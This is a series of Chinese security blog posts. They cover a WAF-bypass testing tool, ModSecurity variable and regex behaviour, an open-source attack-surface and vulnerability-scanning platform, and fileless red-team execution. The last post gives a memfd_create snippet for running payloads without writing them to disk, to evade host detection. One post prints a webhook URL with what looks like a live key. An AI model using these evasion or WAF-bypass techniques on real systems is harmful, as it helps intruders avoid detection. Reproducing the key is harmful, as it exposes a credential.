一起聊聊x-waf的新功能和未来发展吧！

嘿，大家好！自从两周前我们发布了x-waf的二进制版本以来，真的收到了不少关注呢。腾讯玄武实验室还在他们的“每日安全动态推送（24/12/6）”里提到了我们，现在GitHub上已经有173颗星了，还有3个issue。这说明确实有不少小伙伴在试用和体验我们的工具，真心感谢每一位支持者！你们的支持就是我继续迭代的动力！

关于x-waf的新功能，我有很多想法。我希望它能成为WAF防护能力测试的标准工具，让白帽子、WAF运营人员、研发和测试工程师都能用得上。

• 对于白帽子来说，x-waf可以让你更轻松地绕过WAF，不需要掌握太多复杂的绕过技巧。
• 对于WAF运营，它可以帮你找出当前WAF配置中的问题。
• 对于WAF研发和测试，它能帮助分析误报率和漏报率。

线上讨论会邀请

想不想一起来聊聊？我们打算找5位用户，在12月19日星期四晚上10点通过腾讯会议线上交流。我们会讨论：

1. 在"WAF绕过"这个场景里，你最希望工具提供什么功能？
2. 怎么实现这些功能？

关于收费的想法

另外，为了确保项目能够持续发展，我也在考虑引入收费模式。所以也欢迎大家来聊一聊，看看大家有什么看法或建议。

最后

项目地址：https://github.com/leveryd/x-waf

如果你对以上话题感兴趣，并且已经使用过x-waf，就请私信我吧！期待你的参与，让我们一起把x-waf做得更好！

背景

在工作中，你肯定遇到过不少碎片化学习的情况。比如做渗透测试项目时突然需要用到某个漏洞，你可能只是快速掌握了如何修改并使用exp，并没有深入探究其原理。面对这样的状况，你怎样积累这些零散的学习内容，并逐渐构建起一个完整的知识体系呢？

是否时常感觉看完一篇技术文章或报告后，在整理笔记时不知所措？又或者，回看自己之前的技术笔记时，发现记录的内容混乱无序，需要重新理解一遍才能找回记忆？

实用且灵活的5w1h思维工具

• 什么是5w1h？

  在我们初中的语文课堂上，老师常常教导我们运用5w1h方法来提高阅读理解和写作能力，这个方法简单易懂。具体来说，就是在阅读和描述事件时，关注“谁、何时、何地、做了什么、为何这么做以及如何做的”这些问题。

• 哪里有用到5w1h？

  来看两个实际应用的例子。

  报告bug时，如果按照“预期效果、实际情况及复现步骤”的模板来写，他人会更容易理解问题所在。许多GitHub项目的issue模板中就有这种规范化的bug报告格式，如kubernetes的bug报告模板^[1]，极大地提高了沟通效率。

  类似于Wikipedia和百度百科的词条编写，它们通常遵循类似5w1h的逻辑框架，例如：

• 发展历程：（When）按时间线梳理
• 学科背景：（Why）为什么要有这个专业
• 主要研究者：（Who）谁在研究
• 研究对象与内容：（What）在研究什么
• 学科分支：（What）学科有哪些分类
• 研究方法论：（How）怎么研究

• 什么时候适合使用5w1h？

  在撰写文字、交流观点或是制作学习笔记的过程中，可以适当借鉴5w1h方法来清晰地表达事实、见解和概念。尽管大多数技术文章并未严格遵照5w1h结构组织，但你可以尝试以5w1h为线索，提炼出文章中的关键信息和观点。

  虽然严格按照5w1h模式撰写可能会稍显繁琐

• 为什么我向你推荐5w1h？

  推荐5w1h的原因在于它能帮助你自查对某个概念的理解程度。如果你能够详细记录下某个概念的所有5w1h要素，说明你对该概念已有了全面的认识。

  同时，5w1h具有高度条理性，非常适合用于支持“碎片化学习”。举个例子，当你回顾笔记时，若发现某个概念的“为什么”部分尚未掌握，就可以借此机会补足这一知识点。

  此外，5w1h工具广泛适用于各类领域，无论是安全技术、编码技能、软技能还是其他专业知识，都可以通过5w1h搭建起坚实的知识架构。

总结

如今的社会愈发重视“终身学习”，你是否也有过探索和实践高效学习方法的经历呢？

5w1h以其实用性强、适应面广、易于理解和操作的特点，特别契合当下快节奏生活下的“碎片化学习”需求，是值得推荐和采用的一种思维工具。

PS: 本文使用"通义千问"润色，提示词是"风格请和原文保持一致，不要过于书面化，也不要过于口语化，重新润色"。

参考资料

背景

虽然开源的CRS规则集^[1]误报率很高，但是ModSecurity引擎还是很强大的，支持非常多的功能，包括丰富的HTTP解析后的字段。

不过虽然ModSecurity官方文档^[2]中对于变量字段有说明，但是有一些细节仍然不清晰，比如 PATH_INFO变量是否经过url解码、存在参数污染时ARGS/ARGS_GET/ARGS_POST变量值是什么、为什么有时候REQUEST_BODY变量是空 等问题，不清楚这些细节容易写出存在漏报或者误报的规则。

本文介绍快速搞清变量的方法、几个重要且常用的变量。

搞清楚变量含义最快的方法

ModSecurity支持lua插件，你可以用SecRuleScript指令和lua脚本来做一些调试。

比如添加如下规则可以打印PATH_INFO变量到终端控制台

SecRuleScript "/tmp/1.lua" "id:23333,deny"

/tmp/1.lua 内容如下

function main()
    local inspect = require("inspect")  -- inspect库需要额外安装 https://github.com/kikito/inspect.lua
    m.log(2,inspect(m.getvars("PATH_INFO")))   -- 将 PATH_INFO 变量打印到标准错误中
    return nil;
end

ARGS_GET 和 参数污染

参数污染，简单的理解，也就是访问"http://网址/index.php?a=1&a=2&a=3"，有的web容器解析请求后认为a的值是1，另一些web容器解析后认为a的值是3，这种就是存在参数污染问题。

那么ModSecurity解析参数时，会有参数污染问题吗？

结论是没有，测试过程如下

function main()
    local inspect = require("inspect")
    m.log(2,inspect(m.getvars("ARGS_GET")))
    return nil;
end

curl '127.0.0.1:8081?a=1&a=2&a=3' 后，从下面日志中可以看到，ARGS_GET会存储参数a所有的值，这是符合预期的。

127.0.0.1:8081 是我本地安装了modsecurity的apache服务

Message: { {
    name = "ARGS_GET:a",
    value = "1"
  }, {
    name = "ARGS_GET:a",
    value = "2"
  }, {
    name = "ARGS_GET:a",
    value = "3"
  } }

curl '127.0.0.1:8081?a=1&a=2&a=3' ，可以匹配到如下三条规则，也验证了 ARGS_GET 没有参数污染问题。

SecRule ARGS_GET:a "@rx 1" "id:946811,msg:'TEST1',phase:2,block,capture,severity:'CRITICAL',tag:'attack-rce',tag:'paranoia-level/1',t:none,setvar:tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}"
SecRule ARGS_GET:a "@rx 2" "id:946812,msg:'TEST2',phase:2,block,capture,severity:'CRITICAL',tag:'attack-rce',tag:'paranoia-level/1',t:none,setvar:tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}"
SecRule ARGS_GET:a "@rx 3" "id:946813,msg:'TEST3',phase:2,block,capture,severity:'CRITICAL',tag:'attack-rce',tag:'paranoia-level/1',t:none,setvar:tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}"

PATH_INFO 是否经过url解码等处理？

你觉得下面的自定义规则（禁止外部用户访问 security.xxx.com/login 接口），可以怎么绕过？

规则含义如下：

• Host 完全匹配 security.xxx.com
• URI 正则匹配 ^/login

上面的问题就不直接给出答案了。和路径相关的变量，你永远需要关注它有没有 url解码、../ 、./、/// 等处理逻辑：

• /a/../b 会不会变成 /b
• /a/./b 会不会变成 /a/b
• ////a 会不会变成 /a

在ModSecurity中 REQUEST_URI、REQUEST_URI_RAW、PATH_INFO 三个常用的变量都和路径有关，v2版本测试结果如下

结论：

• PATH_INFO 和 REQUEST_URI 会url解码、会处理../ 、./、///等字符
• REQUEST_URI_RAW不做任何处理

REQUEST_BODY

根据文档所说，默认情况下，只有请求content-type是application/x-www-form-urlencoded时，REQUEST_BODY才会有值。

你也可以用forceRequestBodyVariable强制给REQUEST_BODY赋值，crs规则也是这么干的，如下

文档说REQUEST_BODY存储的是原始的请求body，那遇到chunked请求时，它存的是解码后还是解码前的呢？

Apache、ModSecurity-V2测试结论：是解码后的

总结

变量的细节影响规则质量，而ModSecurity的文档并不一定准确，我们可以用lua插件打印变量来测试。

参考资料

背景

不论是商业安全产品还是开源安全产品，在规则运营中，写正则一直是很重要的一个事情，而正则使用中有一些基础知识，可能会被很多人忽视。

比如 ^号是匹配每一行的开头还是匹配一个文件的开头呢？在 yara、modsecurity、suricata 等开源安全产品引擎中答案都是一样的吗？

比如 捕获分组、断言 等用法是所有引擎都支持的吗？

捕获分组、断言 等用法是所有引擎都支持的吗？

每个产品用的正则引擎库可能是不同的，所以能支持的特性、写法会稍微有些差别。

在c语言中，pcre库^[1]应该是应用最广泛的正则引擎库，modsecurity、早期的yara都是用的它。

你可以在 https://www.debuggex.com/cheatsheet/regex/pcre 这个站点查看 PCRE、JavaScript、Python 支持的用法区别。

^号是匹配每一行的开头还是匹配一个文件的开头呢?

举个例子，在应用广泛的waf规则集crs中，有一条规则是检查响应内容是不是以 #!/ 开头，已检查 #!/bin/bash 等脚本源码泄露，它的规则如下

SecRule RESPONSE_BODY "@rx ^#\!\s?/" \
    "id:950140,\
    ...

实际上这条规则就和预期不同。在 modsecurity v3版本中，实际上它是在匹配响应内容"每一行"是否以 #!/ 开头。

modsecurity的正则引擎是pcre，所以 ^号是匹配每一行的开头还是匹配一个文件的开头，这取决于 PCRE_MULTILINE 修饰符是否开启。

在 https://github.com/SpiderLabs/ModSecurity/blob/v3.0.9/src/utils/regex.cc#L68

PCRE2_SPTR pcre2_pattern = reinterpret_cast<PCRE2_SPTR>(pattern.c_str());
uint32_t pcre2_options = (PCRE2_DOTALL|PCRE2_MULTILINE);
if (ignoreCase) {

代码中看到 PCRE_MULTILINE选项 默认是开启的，所以^号匹配每一行的开头。所以上面的规则可以优化成

SecRule RESPONSE_BODY "@rx ^(.{10})" \          // 先取出响应头前十个字节
    "id:950140,\
    ...
    setvar:'tx.first_ten_chars=%{tx.1}',\
    chain"
    SecRule TX:FIRST_TEN_CHARS "@rx ^#\!\s?/" \   // 针对前十个字节做匹配
      ..."

更多讨论，可以看 https://github.com/coreruleset/coreruleset/issues/3266。modsecurity v3、modsecurity v2、Coraza 等表现都不一致。

其他语言的正则库提供的接口也会提供MULTILINE修饰符，比如Python如下

>>> import re
>>> re.findall("^2","1\n2\n3")        # 默认没有开启MULTILINE，^就只匹配文本的开头
[]
>>> re.findall("^2","1\n2\n3",re.MULTILINE)   # 开启MULTILINE，^就会匹配每一行的开头
['2']
>>> re.findall("(?m)^2","1\n2\n3")      # (?m) 也可以开启MULTILINE
['2']

总结

虽然正则初学者可以用大模型去写正则，但是也应该了解到不同引擎支持的正则特性不同、正则的修饰符等基础知识。

在规则编写前，也应该清楚正则引擎默认开启的修饰符选项有哪些。

参考资料

背景

文字版见 https://github.com/leveryd-asm/asm/releases/tag/v0.0.3

目前asm项目^[1]可以回答以下问题

• 公司有哪些favicon？favicon信息包括通用和公司图标
• 公司有哪些证书？
• 公司有哪些asn号码？
• 公司有哪些ip？
• 公司有哪些web服务、首页信息？
• 公司有哪些端口信息？

根据当前的数据，尝试基于kibana做了X公司资产的dashboard

下面向你介绍一下本次更新中最重要的两类功能的设计和实现。

组织和资产的映射关系

为什么需要这个呢？如果我们知道有哪些组织，并且知道哪些资产属于组织，就可以从企业角度管理资产，比如绘制上面的企业资产dashboard

网络测绘厂商或者攻击面管理厂商是怎么做这个事情的呢？

zoomeye的org字段能够搜索指定组织的资产

https://0.zone/ 不支持 "组织:xxx" 这种查询语法，但也支持关键字搜索

zoomeye支持组织名搜索的功能我感觉挺神奇的，就比如程序怎么能知道一个c段有哪些组织名呢。根据证书、网页title、响应csp、重定向的地址等等信息，我们肉眼可以知道是哪个组织的，但是程序怎么根据这些信息得到一个组织名呢，而且程序还能准确的知道这个组织叫做谷歌而不是谷歌XXX、叫做twitter而不是推特 (打个比方)？

再说组织和资产的映射关系也不是个简单的事情，比如A公司服务部署在谷歌云的虚拟机上，那虚拟机ip所属的组织是应该被标记成A公司还是谷歌呢？

于是，我又测试了一下zoomeye搜索其他厂商，数据如下，看起来zoomeye的组织名并不是很"万能"。

org:"谷歌"  798,974条记录
org:"推特" 0条记录
org:"twitter" 642,676条记录
org:"小红书" 0条记录
org:"知乎" 0条记录
org:"拼多多" 0条记录

asm项目中目前是怎么做资产和组织映射的、怎么识别资产是属于哪个组织？

elasticsearch中每类资产都有org和org_num两个字段，org是字符串数组类型，存放组织标签信息，所以一个资产可以标记成多个组织拥有。

目前是让用户手动配置去给资产打上对应组织的标签，比如证书组织中如果有baidu或者百度关键字，就给对应证书资产打上相应标签。有一个cronjob会每两小时根据用户的配置去更新一次映射关系。

{ "org": "百度", "query": "subject_org:baidu OR subject_org:百度", "index": "tls" }
{ "org": "百度", "query": "title:baidu OR title:百度", "index": "web-service" }
{ "org": "百度", "query": "response-body:baidu OR response-body:百度", "index": "web-service" }
{ "org": "百度", "query": "parsed-domain.registered_domain:baidu.com", "index": "web-service" }
{ "org": "百度", "query": "asn.as-name:baidu OR asn.as-name:百度", "index": "web-service" }

通过 update_by_query 和 painless script 实现批量更新组织信息。

读取配置、请求elasticsearch接口等功能是通过logstash实现而不是编程语言。

这个过程中遇到"批量更新时，文档版本冲突"的问题。通过调整pipeline.worker=1、logstash filter sleep插件等办法临时解决。

logstash配置见 https://github.com/leveryd-asm/asm/commit/bb353d5cb15eb441bb2b16a0c17d6f20a3a8b5ef

"web首页、asn、端口、子域名、证书、favicon"等资产信息探测并入库

pd组织的工具和elk结合起来很容易实现资产探测和入库：httpx、naabu、tls、subfinder等工具都支持json输出，logstash将json数据导入到elasticsearch中。

每个索引都会有一个first_create_time和last_update_time字段，分别表示文档第一次创建的时间和最近一次被更新的时间。这个时间字段可以用来发现新增的资产、过期的数据。

索引的其他字段你可以通过elasticsearch查看，或者httpx -json、naabu -json等方式查看，这里我就不对字段做过多说明。

每个索引也通过文档id做了去重，比如证书资产以domain_ip_port去重

实现资产导入的logstash配置见 https://github.com/leveryd-asm/asm/blob/master/templates/argo-workflow-template-asset/level1/logstash/config.yaml

v0.0.4版本

计划暂定如下，欢迎在 https://github.com/leveryd-asm/asm/issues/33 issue中讨论

总结

此次更新，用户能够在argo ui创建多种类型资产的探测任务。结合elasticsearch功能丰富的查询api可以更加灵活地过滤出资产，对资产做更一步的处理。

欢迎加我微信 happy_leveryd 或者 邮箱 leveryd@gmail.com 与我交流。

参考资料

背景

今天asm项目v0.0.2版本^[1]发布了，新增了一些功能：

• 支持"用户浏览器设置代理后访问网站，利用代理扫描发现站点漏洞"
• 新增工作流，支持"探测指定资产是否存在后台对外暴露，站点截图辅助告警运营"、"对任意端口poc扫描"
• 集成xray反连平台，支持基于http/dnslog的检测
• 集成elasticsearch和kibana，爬虫和代理的数据会存储到es中

本文介绍用户可以怎么用这些功能和背后的事(为什么要做这些、怎么做的、中间遇到了什么问题以及如何解决、技术选型)。

支持"用户浏览器设置代理后访问网站，利用代理扫描发现站点漏洞"

xray代理以nodeport service的方式对集群外提供服务，用户在安装实例时可以指定对外服务的端口值，如下

helm template ./ --set xray_proxy_nodeport=30088

xray代理使用参考官网文档 https://docs.xray.cool/#/tutorial/webscan_proxy

本来打算以ingress方式对集群外提供服务，但测试后发现以ingress方式对外提供服务时，只能代理http请求、无法代理https，如下

支持"对任意端口做poc扫描"

多个工作流中支持端口扫描，如下

这一块实现上是先用naabu^[2]的syn扫描获得开放端口信息，然后用httpx^[3]获取开放的web服务。

目前端口扫描的速度不是很快，比如apple.com的16k个子域名8000-9000端口需要20个小时，平均下来每秒识别222个端口。或许可以调整naabu的-rate试试。

支持"探测指定资产是否存在后台对外暴露，站点截图辅助告警运营"

用户创建任务后，可以在控制台运营后台报警，如下

为什么要做这类告警呢？源于之前的实践经验，见 安全建设-攻防思路与实践（一）

识别策略代码见 https://github.com/leveryd-asm/tools/blob/main/x/fms.go ，有三类：

• 域名中包含关键词，直接当作后台管理系统
• 使用vue、react、angular等框架的网站
• 存在<table>标签，认为它可能需要渲染数据

因为现在误报很多，为了运营效率，所以告警信息中会包含站点截图。

站点截图并没有通过集成 gowitness^[4] 实现，因为我觉得gowitness不适用于告警这个场景，它没有对同一个url的去重，也不能标记告警状态。而是通过 browserless^[5] 实现, 印象中他们在生产环境中有过大规模的实践。实际上无头浏览器类型的爬虫也可以用browserless服务。

集成dnslog平台

因为asm项目用到了xray、nuclei^[6]，而很多漏洞的检测需要依赖dnslog，所以需要集成xray反连平台^[7]，nuclei的interactsh^[8]。

虽然interactsh内置了几个可用的dns/http oob服务，但是默认的几个域名可能会被安全设备检测到，影响扫描效果。所以有必要用自己的域名部署。

用户通过设置以下参数，就可以独立部署xray反连服务，并且xray扫描时会使用反连平台。

helm template ./ --set reverse_http_base_url="leveryd.xxxx.org" --set reverse_dns_domain="yyyyy.top" --set reverse_http_enable=true --set reverse_dns_enable=true  --set reverse_client_enable=true

xray反连容器通过host网络模式对外在53、80端口提供服务，所以需要容器宿主机上这两个端口没有被占用。

有关dnslog模块遇到了两个问题，还没有解决。一个问题是误报，某些目标不知道出于什么原因确实会产生dns请求，但实际不存在漏洞。

另一个问题是漏报，某些漏洞可能要等一小时后异步触发，这种漏洞会被nuclei和xray漏掉。我以前的解决办法是在dns请求中加入目标和poc信息，然后定时任务去筛选dnslog。但目前无法通过api或者直接操作db来读取xray反连平台和interactsh的dnslog记录。

异步触发的漏洞可以参考 https://portswigger.net/research/hunting-asynchronous-vulnerabilities

集成elasticsearch和kibana

kibana以ingress方式可以被集群外服务访问，用户可以通过访问kibana.{{.Values.console_domain}}访问kibana，如下

elasticsearch用来做什么呢？人工浏览网站的数据会经过xray代理，因为人工浏览一次不容易，所以想着最好能把这些数据存下来。后面可以干很多事情，比如从网站请求中找子域名信息。

以下是apple.com的子域名信息，elasticsearch中可以找到3个subfinder没找到的子域名。subfinder找到17834个子域名，通过elasticsearch数据找到65个子域名，去重后有17837个子域名。

目前架构上是 xray->proxify^[9]->elasticsearch。proxify是go实现的一个代理服务，支持导入原始请求和响应到elasticsearch中。

proxify目前最新的v0.0.8版本主要存在两个问题，一个是有的请求响应过大，导致es查询时会报错，另一个是只有原始信息，而没有url、host、body等信息。同时它目前还有一些低级的bug会导致程序不可用，详情可以见我提的issues^[10]。

这两个问题，在咨询Evilran^[11]师傅后，最终用elasticsearch的ingest pipeline^[12]方式解决。

因为xray会将proxify服务设置成代理，所以如果proxify服务挂掉，xray也不能工作了。

这个可用性我觉得目前也能接受，本次更新也做了其他关于系统可用性和性能相关的优化。

可用性和性能优化

可用性方面主要做了以下事情：

• mysql数据持久化，不用担心重启pod数据就没了
• 每隔两小时更新nuclei模板，而不是每次扫描前更新
• 设置默认pod gc时间，避免pod数量过多时节点不可用，详情见 issue^[13]

asm实例的某个服务挂了导致任务失败不可怕，但是如果域名、报警等数据丢了，自己之前录入数据、运营告警标记告警状态的时间就白投入了。所以mysql库的数据肯定是需要持久化存储和备份的。目前通过k8s的pv机制和卷挂载到/var/lib/mysql做到持久化存储，自动备份0.0.3版本再做。

默认情况下每次nuclei容器运行时都会拉取扫描规则，它会有两个不好的影响：

• 请求api.github.com拉取规则时因为频率限制和网络原因很有可能失败，进而导致扫描失败
• 会造成带宽浪费，扫描速度也会慢一点

性能优化主要是扫描前对子域名、url等去重，见 pr^[14]

PS

目前对外的服务全部都没有认证，包括 xray代理、kibana、console、argo 等，所以最好仅在内网使用，不要开放到公网。

参考资料

背景

刚写asm项目时，爬虫服务是通过service对外提供服务。

爬虫服务容器编排yaml文件见 https://github.com/leveryd-asm/asm/blob/f6c481efbe/templates/crawler.yaml

工作流中调用服务的例子见 https://github.com/leveryd-asm/asm/blob/f6c481efbe5820fb682bc1dc4113ec168cd2275e/templates/argo-workflow-template/argo-workflow-atom-template-crawler.yaml

但现在工作流中直接调用爬虫二进制文件

刚好有师傅问到这个，所以简单记录一下为什么要做这个改变。

为什么最早要设计成"通过service对外提供服务"？

我现在也不记得确切的原因，估计当时是觉得爬虫可能会是一个很重要的模块，会对外提供很多能力，如果以api形式提供服务，以后调用起来就更方便。

爬虫服务内部组件包含一个生产者和消费者，通过kafka通信。这种架构很常见，它有一些优点，包括 通过消息队列解耦、扩展性较好，通过创建多个消费者实例提高性能。

代码见 https://github.com/leveryd-asm/crawler 。

为什么要变？

但爬虫服务存在一些问题，比如爬虫任务没有启停功能、我对kafka了解得很少、没有任务进度信息。

基于上面的问题背景，因为argo ui提供了任务启停功能、任务进度也容易估算出来，也不需要kafka中间件、避免给自己挖坑，所以选择在argo-workflows工作流中直接调用爬虫二进制文件。

https://github.com/leveryd-asm/asm 实现了上周说的《基于任务编排玩一玩漏扫》，如果你是在资源有限的情况下做漏扫，或者想学一下k8s的运维使用，可以一键部署玩下这个项目。欢迎和我交流，我的微信是 happy_leveryd。下面向你介绍一下asm项目。

asm是什么？

提交爬扫任务	查看报警
提交POC扫描任务	查看任务状态

设计思路见 基于任务编排玩一玩漏扫

特点

运维指南

在k8s集群中一键部署

• 安装 kubesphere

kubesphere 可以用来管理k8s集群，并且提供了ingress controller。

可以按照如下命令安装v3.3.1版本

kubectl apply -f https://github.com/kubesphere/ks-installer/releases/download/v3.3.1/kubesphere-installer.yaml
kubectl apply -f https://github.com/kubesphere/ks-installer/releases/download/v3.3.1/cluster-configuration.yaml

详细安装步骤参考 kubesphere

如果你不需要kubesphere，可以使用ingress-nginx作为ingress controller。

• 安装本项目

第一次安装，需要执行helm dependency build下载依赖。

执行如下命令会在asm命名空间中安装本项目

helm -n asm template ./helm | kubectl apply -n asm -f -

你也可以向helm传递参数来修改安装的配置，如下命令会使用manage.com作为域名访问控制台

helm -n asm template ./helm --set console_domain=manage.com  | kubectl apply -n asm -f -

• 卸载本项目

helm -n asm template ./helm | kubectl delete -n asm -f -

用户指南

怎么访问asm控制台？

绑定域名到node节点后(域名默认是console.com)，在kubesphere控制台上找到console ingress访问地址，如下图所示

访问服务进入到asm控制台

怎么对某个域名做漏洞扫描？

可以选择默认的nuclei扫描-保存结果模板，如下图所示。输入域名后，点击Submit按钮，等待扫描完成即可。

默认还有其他模板，可以针对二级域名(比如leveryd.top)做扫描，或者针对库中的二级域名列表做扫描。你可以根据自己的需求选择合适的模板。

怎么运营漏洞？

你可以在asm控制台上运营漏洞。

xray扫描的漏洞也会通过webhook推送到企业微信群。

需要你在安装本项目时有设置weixin_webhook_url参数，比如helm --set weixin_webhook_url=https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=07d4613c-45ef-46e2-9379-a7b2aade3132

怎么管理扫描任务？

你可以在控制台上管理扫描任务，具体办法如下。

浏览器输入 http://asm控制台地址/argo 地址，进入到argo界面，点击Submit Workflow按钮，选择一个模板后，创建一个扫描任务.

怎么管理任务模板？

你可以在控制台上管理任务模板 ，目前默认有五个工作流，功能分别是：

• 从API获取兄弟域名-获取子域名-nuclei扫描-保存结果
• 从API获取兄弟域名-获取子域名-katana爬虫-xray扫描-保存结果
• 获取子域名-nuclei扫描-保存结果
• 获取子域名-katana爬虫-xray扫描-保存结果
• nuclei扫描-保存结果

子域名扫描用到oneforall、subfinder等工具。

当然你也可以定义自己的任务模板，可以参考helm/templates/argo目录下的模板文件。

背景

攻防两端对外网资产的安全风险都很关注，在资源有限的情况下，怎么低成本地实现性能、扩展性都不错的、易运维的漏扫平台呢？

本篇站在白帽子的视角，聊一聊我的思路和实践。

本文会涉及到以下内容：

• 任务编排是什么？为什么需要任务编排？
• 任务编排在各公司的实践
• 我的方案？技术选型时的考量

充分利用开源工具

我们可以通过粘合现有的工具做成一个扫描器，比如通过以下工具可以粗略完成资产收集、漏洞扫描

但是这里存在几个问题：

• 运维上的问题：想一想重新部署这种扫描器所需要的工作量，比如在新机器上你是否需要安装很多程序的依赖、修改很多程序配置；怎么知道扫描任务是否按照预期运行？能否统计出来任务执行中哪个环节最慢？
• 扩展性上的问题：当有一个效果更好的子域名发现工具时，无论它是什么语言写的，是否能够很方便地集成？是否能够方便地和公司 cmdb、工单平台集成？
• 性能上的问题：当有一个应急类的任务需要你在一天内对百万机器全端口做漏洞探测时，是否可以完成？能否自动扩容？
• 可用性上的问题：服务挂掉了是否能感知、自动恢复？某个扫描任务失败时能否感知、自动重试？

针对上面问题，下面我想向你介绍我的解决方法和思考过程。

使用 docker

我们可以想一下代码中集成工具，碰到技术栈不同怎么办？比如我们扫描引擎是 python 语言编写的，我们可以通过子命令调用 nmap，通过函数调用 oneforall，但如果某个工具(比如爬虫)是 nodejs 写的，这个时候怎么跨语言调用？而且我们还需要考虑到在部署时，我们还需要安装 c、go 程序依赖的系统动态库，python、java 程序依赖的解释器、lib 库，这些环节可能会出现意想不到的问题。

我们可以把程序构建成镜像，然后以命令行或者 api 服务的形式，向外部提供服务。这样工具无论是什么语言编写的，只要打包成镜像，就能以相同的方式被调用，也不用操心依赖的事情。

与此同时应用升级也会变得简单一点，我们可以用 github workflow 做镜像构建和推送、镜像 tag 管理应用版本。当然，我们也可以基于 kubernetes 生态来编排、管理服务。

基于 kubernetes 生态

基于 kubernetes 的 service 机制，我们很容易能够提供可用性、性能更好的服务，比如把 xray 打包成镜像后，以 service 形式暴露代理和漏扫功能。

基于 kubernetes 的健康检查机制、deployment 对象，也很方便地实现服务故障的感知和自动恢复。

kubernetes 生态也提供很大的便利。比如，基于 helm 很容易部署和升级服务，基于 kubesphere 可视化地管理集群和服务。

到这里有一个问题要考虑，子域名收集工具(oneforall/subfinder)、poc 扫描工具(nulei)这些能力应该以什么样的形式提供服务？它们本身能以命令行的方式被调用，那么有必要封装成 api 服务的形式吗？

如果要封装成 api 服务，就需要编写 api，这个 api 输入参数和命令行参数的映射关系也需要考虑，这里会有一些工作量，而且会让工具变得不灵活。

不论怎么样，调用方想要完成一次扫描，就需要调用各个能力，把整个工作流串起来。这个时候可以选择编写代码调用，但是更好的做法是基于任务编排来做这件事。下面向你介绍任务编排、它怎么应用在漏扫中。

任务编排

任务编排是什么呢？按照我的理解，我们用 dsl 语言去描述任务，提交任务后，编排引擎最终可以完成任务。kubernetes、nuclei workflow^[1]、github action 都有提供这种能力。

为什么我们需要任务编排呢？任务编排能够让我们以声明配置的方式，而不是写代码的方式去实现任务，这里最大的好处我理解是节省了工作量，很多相似的业务需求抽象出来让编排引擎统一实现了。

在前期调研阶段，我也发现有一些厂商漏扫平台是以任务编排为核心构建的，比如 潮汐开源社区^[2]，也了解到 soar、bas 产品的核心也在于任务编排，比如华云安的漏洞管理之自动化（Automation）^[3]、腾讯 SOAR 的安全运营探索^[4]、安全运营之 SOAR：架构雏形^[5]。甲方厂商中也有以任务编排为核心的安全服务架构设计，见 宜信分布式安全服务编排实践^[6]。

任务编排引擎的技术选型

针对漏扫会有的需求：

• 支持定时任务，支持手动执行任务：定时任务可以用来实现日常巡检，手动执行任务可以应对应急类扫描、单次测试某个任务的场景
• 支持任务管理，包括任务启动、停止、恢复、删除、执行记录(包括程序日志、运行时间)、执行进度、失败任务记录和自动重试
• 支持多个业务逻辑单元的组合：比如"子域名收集-指定端口 poc 扫描"、"子域名收集端口扫描-poc 扫描"、"子域名收集-爬虫-漏扫"

以前工作中，还遇到过业务方要求只能晚上扫描。还有某些信息收集阶段会有些误报，需要人工修改后才能继续后面的扫描。

面对这些需求，我调研了 argo-workflows^[7]、w5 soar^[8] 两个开源的编排引擎。编排引擎我觉得很重要的是怎么调用应用、怎么在应用间传递数据，可视化任务编排对我来说不重要。w5 soar 只支持调用 python 应用，而不支持调用容器应用，argo-workflows 基于 kubernetes 调度，提供 ui、api、sdk、cmd 等交互方式，非常满足我的需求。

你可以参考argo-workflows的文档，结合我下面的模板体验一把拼积木式的漏扫开发。

玩一玩 argo-workflows

以下任务模板中，main 是一个"subfinder 子域名收集-nuclei 扫描-存储扫描结果"的工作流

spec:
  templates:
    - name: main
      inputs:
        parameters:
          - name: domain
      steps:
        - - name: subdomain
            template: subdomain
            arguments:
              parameters:
                - name: domain
                  value: '{{inputs.parameters.domain}}'
        - - name: nuclei
            template: nuclei
            arguments:
              artifacts:
                - name: hosts
                  raw:
                    data: '{{steps.subdomain.outputs.result}}'
        - - name: save-nuclei
            template: save-nuclei
            arguments:
              artifacts:
                - name: result
                  from: '{{steps.nuclei.outputs.artifacts.nuclei-result}}'
    - name: subdomain
      inputs:
        parameters:
          - name: domain
      container:
        name: main
        image: projectdiscovery/subfinder:v2.5.5
        args:
          - '-d'
          - '{{inputs.parameters.domain}}'
        resources: {}
    - name: nuclei
      inputs:
        artifacts:
          - name: hosts
            path: /tmp/host
      container:
        image: projectdiscovery/nuclei:v2.8.3
        command:
          - nuclei
        args:
          - '-l'
          - /tmp/host
          - '-t'
          - exposures,misconfiguration,cnvd,vulnerabilities,workflows,exposed-panels
          - '-es'
          - info
          - '-o'
          - /tmp/nuclei-result.json
      outputs:
        artifacts:
          - name: nuclei-result
            path: /tmp/nuclei-result.json
    - name: save-nuclei
      inputs:
        artifacts:
          - name: result
            path: /tmp/result
      container:
        image: leveryd/x-tool:v2022.12.14
        args:
          - '-f'
          - /tmp/result
          - '-api'
          - 'http://192.168.0.110:30274'  # todo:config

启动一个扫描任务实例

查看任务实例状态

总结

基于开源的安全工具、argo-workflows 编排引擎可以低成本的实现性能和扩展性都还不错的漏扫功能，基于 helm、kubesphere、argo-workflows ui 可以方便运维漏扫服务。

argo-workflows 的社区感觉不是很活跃，欢迎加我微信 happy_leveryd 和我交流。

参考资料

背景

在linux系统上执行二进制文件一般会用到execve系统调用，比如下面的执行sleep 1000

[root@instance-h9w7mlyv ~]# strace sleep 1000 2>&1|grep execve
execve("/usr/bin/sleep", ["sleep", "1000"], 0x7ffdb98242f8 /* 40 vars */) = 0

其中/usr/bin/sleep文件因为在本地存储，所以可能被主机上的安全产品做静态分析，如果是恶意样本就有可能暴露攻击行为。

为了对抗静态分析，蓝军可以让攻击样本不落盘，比如用如下memfd_create的方式

fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
write(fdm, elfbuf, filesize);
sprintf(cmd, "/proc/self/fd/%d", fdm);
execve(cmd, argv, NULL);

完整代码可以见 https://github.com/QAX-A-Team/ptrace/blob/master/anonyexec.c

但是这种攻击行为会产生memfd_create和execve两个系统调用，特征很明显，于是又有蓝军提到在用户态加载elf并执行，这样既可以样本不落盘，又可以避免用到execve被安全产品采集到进程数据。

https://github.com/anvilsecure/ulexecve/blob/main/ulexecve.py 这个开源项目就实现了用户态的elf装载。

